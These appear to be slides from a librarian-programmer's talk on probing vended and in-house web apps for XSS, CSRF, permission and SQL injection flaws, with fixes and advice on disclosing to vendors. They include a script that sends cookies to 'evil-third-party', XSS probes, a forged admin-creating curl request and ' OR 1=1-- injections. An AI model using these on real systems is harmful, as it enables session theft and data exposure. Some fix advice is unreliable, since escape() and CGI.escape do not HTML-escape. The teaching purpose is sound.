WHAT COULD GO WRONG?

Gently testing the security of your vended and in-house web applications
A tale about how your vended or built-in-house web applications can fail you
And expose your staff and patrons to malware, data theft, and data loss.
What inspired this talk?
Libraries use software.

Lots of software.
I've written a lot of software for libraries.
And not all of it was good.
Whenever I learned about a common attack method

I quietly realized

"oh no, I do that"

O_o
This built a catalog of experience which helped me transition from a hobbyist to library staff person who wrote a few programs to a professional programmer working on applications considered critical to users.
Enough about me.
TRUE STORY
We evaluated an application last year

a well-known application

that many of you use as well

no, I won't say
It had a CSV file import feature that we'd find helpful.
We tried importing some data from one of our older in-house applications. It included a little bit of inline HTML formatting. "Neat, it supports HTML" :-)

We imported a larger set.

But this time it broke. The screen loaded only partially.
hmmmmmm
:\-/
Check the browser's inspector.

All the expected data are present in the HTML source, but not rendered on screen.

"Uh oh, maybe there's an HTML escaping bug" :-/
Maybe it doesn't really support HTML...

If not, it might be vulnerable to Cross-Site Scripting (XSS)

more on that later...
So we ran a test...

We modified our CSV import file to include a simple XSS probe:

```html
<script> alert('XSS vulnerable!'); </script>
```

And the attack worked.
Okay, there's a vulnerability.

But it would be hard to exploit in practice.

An admin user would need to upload a maliciously crafted CSV, which isn't impossible.

That seems far-fetched.
What could go wrong?
The injected script could

- steal the administrative user's session cookie
- manipulate the UI ("click" stuff automatically)
- change what the administrative user sees on screen
This looks bad

but not *that* bad because it's still difficult to exploit. Unless this isn't the application's only issue.
So we dug a little deeper.
While using the application normally, we watched network activity in our browsers to get a sense for how the application's forms worked.
We changed form values using the browser's inspector tool
and observed names unaffiliated with our institution showing up in user lists.
It didn't end there.
We noticed that when submitting forms,
the data sent to the server did not include any unique "token" values.
It only carried the form values we typed in.
It was vulnerable to Cross-Site Request Forgery (CSRF)

more on that later...
Now phishing becomes dangerous.

Really dangerous.
An attacker could do anything an administrative user could do.
Could we find a way to make a user

• unknowingly create a new item in the application?
• change stuff they shouldn't have permission to change?
• cause changes to data by clicking a "phishing" link?
Yes.
Oh wait a minute, before we get to that...
Disclaimer
Any methods you learn today, you undertake at your own risk. I aim to describe harmless methods of probing your applications that don't deviate too far from their intended usage patterns.
But your contracts or management may have other ideas about this.
Cross-Site Scripting
HTML is static. Text and elements inside an HTML document cannot change or move on their own.

JavaScript is the language your browser uses to move & change things inside HTML documents.
Your browser is careful when handling JavaScript code from sources other than the one in the current page's domain.
But it can't distinguish good code from bad code if it all comes from the same domain as the loaded webpage.
Placing JavaScript code into a document that isn't supposed to be there is called Cross-Site Scripting.
What's the issue?

HTML requires certain characters to be treated specially.

You can't just put a `<` in your HTML.

You need to call it `&lt;` or your browser will think it's the start of a tag like `<div>`. 

And then it will render it as HTML.
So if your user submits

Some regular text with `<h1>`a big title`</h1>` inside
It may display as

Some regular text with a big title inside
Instead of as

Some regular text with <h1>a big title</h1> inside
And the same is true for `<script>`

Applications must filter submissions to prevent HTML special characters from being misinterpreted so that a malicious submission like:

```
Nothing to see here <script> popupAd(); </script>
```

Is sent to the browser as:

```
Nothing to see here &lt;script&gt; popupAd(); &lt;/script&gt;
```
What could go wrong?
Changing what's on screen

JavaScript has access to modify most everything in the page the browser is displaying.
Theft of user or administrative details

JavaScript can read the site's cookies.
This code, if inserted into your page, would steal cookies from logged-in users and send them to a third party:

```html
<script>
    var evilImage = document.createElement('img');
    evilImage.src = "https://evil-third-party/?stolenCookie=" + escape(document.cookie);
    document.body.appendChild(evilImage);
</script>
```
Let's watch it in action
How can you test for XSS?
Where should you look?

Everywhere the application displays user-submitted text
Probe some text inputs

Add or edit text and include a `<script>` tag:

Name: Michael `<script>alert("oh no, XSS!");</script>` Berkowski
How can you prevent XSS?

Ensure all submitted text is escaped for use in HTML

(Many application frameworks do this automatically)
Language examples:

// PHP
htmlspecialchars($input)

// JavaScript
escape(input)

# Python
cgi.escape(input)
html.escape(input) # in Python 3.2

# Ruby
CGI.escape(input)
XSS Resources

- OWASP
- Wikipedia
Cross-Site Request Forgery
CSRF
is an attack that causes a user to perform actions in a system they are allowed to perform but did not intend to perform.
HTTP is stateless

so the server has no way of knowing where requests to it truly come from or what came before them.
A web application may be designed to handle submissions from forms it expects but it has few ways of enforcing that
How is CSRF exploited?

Hijacking a user's browser session, particularly on applications where users are logged in almost all the time.
What makes an application vulnerable?

Failing to require a prearranged "hard to guess" value along with form submissions

Known as a CSRF token

or security token
How can you check for it?

Open your browser's developer tools and find the Network tab.

- <F12>
- Ctrl-Shift-C
- ⌘-Option-i
- Right-click and Inspect
Set it to "preserve logs" so you don't lose them while navigating around.
Use the web application normally with the Network console open.

Watch what happens while you use your application.

Submit forms and look for the **POST** events.
Find a POST and inspect what was submitted
This may be vulnerable to CSRF because it included no "hard-to-guess" value and is possibly vulnerable to CSRF.
This one has a CSRF token and is probably safe from CSRF.
Copy the POST request to use with cURL

Your browser makes it possible to duplicate the original POST request.

Using curl on the command line, try to resubmit your request.
The `curl` command...

```
$ curl 'http://webapp:8888/csrf/' \\
-H 'Content-Type: application/x-www-form-urlencoded' \\
-H 'Cookie: admin_session=abcdefgh1234567;' \\
--data 'username=fakeuser&name=Fake+Ringtones&is_admin=on&user
```
Check the application for changes.

If you were able to make changes using `curl` only, your application may be vulnerable.
What could go wrong?
• Vulnerable site http://webapp:8888/csrf/
• Attacking site http://evilserver:9999/
Preventing CSRF
Web frameworks usually handle it by default

- Ruby on Rails `protect_from_forgery`
- PHP Laravel `{{ csrf_field() }}`
- Python Django
  
  `django.middleware.csrf.CsrftViewMiddleware`
4 things to address...
1) **Generate a random token value**

(search the web for a good method in your language)
// Generate a 64 character random string
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$csrf_token = ''; for ($i = 0; $i < 64; $i++) {
    $csrf_token .= $characters[random_int(0, mb_strlen($characters))];
} // Then store $csrf_token in your database or $_SESSION
2) Associate the token to the logged-in user

- in a database table
- or in a server session value
- NOT in a cookie
3) Place the token into your forms

The token must be sent back to the server. Put it in a hidden form input.

```html
<input type='hidden' name='csrf-token' value='<?php echo $csrf_token; ?>' />
```
4) Verify the token matches

When a token is received by the server, make sure the one sent with the form matches the one you stored in the database or session.

```php
if ($token_from_session !== $_POST['csrf-token']) {
    // Bad request, reject it!
}
```
Regenerate the token after using it

By changing the token often, you reduce the possibility that a stolen token can be reused.
CSRF Resources

- OWASP
Unchecked Permissions
Lots of web applications offer different tiers of user privileges.

For example:

- Regular users can't change things
- Editors can change some things
- Administrators can do everything
Limiting UI controls isn't enough!

You may hide the Delete button for some users

But you must also check on the server before deleting!
Testing for unchecked permissions

There's no universal method.

- Be creative
- And be cautious!
You'll need multiple user accounts
with different levels of privilege
Login with the less privileged account

and inspect a form with your browser inspector.
Try to figure out what field identifies the record you are about to modify.
Change the value using your browser inspector and submit one the account should not be allowed to modify.
Did it work?

Then the application may not be checking privileges.
What could go wrong?
http://webapp:8888/permissions/
We didn't test our vended application for this, but it's the most common, and maybe the most dangerous!
SQL injection is well understood today, but was less well known 10-15 years ago. Older applications tend more often to be vulnerable.
SQL, the "structured query language"

is the way we talk to a traditional relational database, to ask for data based on criteria, or to create or modify data.
When your browser visits

https://example.com/library-subject-details?subject_id=12345

*

The database probably hears:

```sql
SELECT
    subject_name,
    subject_description,
    Subject_librarian
FROM subjects
WHERE
    subject_id = '123456'
AND user_access_id = <current logged-in user>
```
SQL injection attacks attempt to exploit that
\texttt{subject_id=123456}

to give the database different instructions.
If an attacker's browser says

https://example.com/library-subject-details?subject_id='+OR+1=1--
This time, the database hears:

```sql
SELECT
    subject_name,
    subject_description,
    Subject_librarian
FROM subjects
WHERE
    subject_id = '' OR 1=1
-- AND user_access_id = <current logged-in user>
```
Instead of retrieving only the record for subject_id = 123456, this time the database returns everything because the extra condition 1=1 is always met!
And although it *tried* to limit access to the user's own records with

```
user_access_id = <current logged-in user>
```

the injected SQL disabled that part by placing -- before it.
WHAT
WRONG?
So much can go wrong here...

- Expose data you don't have permission to see
- Create, change, or delete content
- Stage other attacks, like XSS
- Steal other files off the server in more sophisticated attacks
Many high profile attacks happened this way

- Heartland Payment Systems
- TJ Maxx
- Sony Playstation Network
Find SQL injection holes in your custom applications
Here are a couple of simple things to try. If you don't see results,

THAT DOES NOT MEAN YOUR APPLICATION IS INVULNERABLE!
Proceed with caution
Seriously
Look for areas in your application where you can search or retrieve specific items by modifying the URL:

https://example.com/library-subject-details?subject_id=12345

Verify that you can affect what's on screen by changing the subject_id=12345 value.
Now try a non-numeric value

https://example.com/library-subject-details?subject_id=abcdefg

Did anything weird happen?
Try some more deliberate injections

(using -- inline comments)

subject_id=%27+OR+1=1--%20

(using hash # inline comments)

subject_id=%27+OR+1=1%23
Do you see more on screen than you should?
Preventing SQL Injection

All programming languages provide a mechanism to sanitize inputs against SQL injection.

*Prepared statements* offer the best protection.

Consult your language or framework documentation.
SQL Injection Resources

- http://bobby-tables.com/
- OWASP SQL Injection
Disclosure

to your superiors and to vendors
Before telling vendors or colleagues,
inform your own superiors of your findings.

Explain the potential for damage.
Suggest that the issue be brought directly to your institution's own security response team.
Ask for guidance from your institution's security people
Informing the vendor

If you have a customer relationship, consider starting with your assigned representative.

But don't start dumping technical details on them right away.
Instead, inform them you have found an issue you believe to be a security concern. Ask to be put in touch with their security response team.
If your contact says "OK, here's their email address"

you're probably in luck.

Simply having a dedicated security response team is a good sign they will take this seriously.
• Be detailed
• Tell them *how* you found what you found
• Give *exact* steps to reproduce it
• Thank them for listening and taking it seriously
If your contact says "Just tell me what's going on and I'll relay it to someone..."

Focus on the effect and not the process you used to discover it.
"We were able to cause a user to change a record she should not have been allowed to change"
"We were able to make a popup message appear where we don't think it should have been possible"
What could go wrong?
The vendor may misunderstand or be unwilling to listen.

Don't be afraid to ask again.

Make sure you've been clear about what you found, how you found it, and why you believe it is dangerous.
Should you contact peer institutions?

NOT WITHOUT PERMISSION from your superiors and any security response staff at your own institution.
If the vendor does not take your report seriously, you may wish to QUIETLY contact a colleague at a peer institution to verify your findings.
Acknowledgements

Thanks to University of Minnesota Information Security for offering guidance on how to disclose our issue to the vendor, and guidance on sharing the information publicly in a forum such as this.
Acknowledgements

And to my superiors, Cody Hanson & John Butler at the University of Minnesota for giving me the professional leeway to dig deeply into our issue when it was first discovered.
THANK YOU

Michael Berkowski
mjb@umn.edu

Follow @mberkowski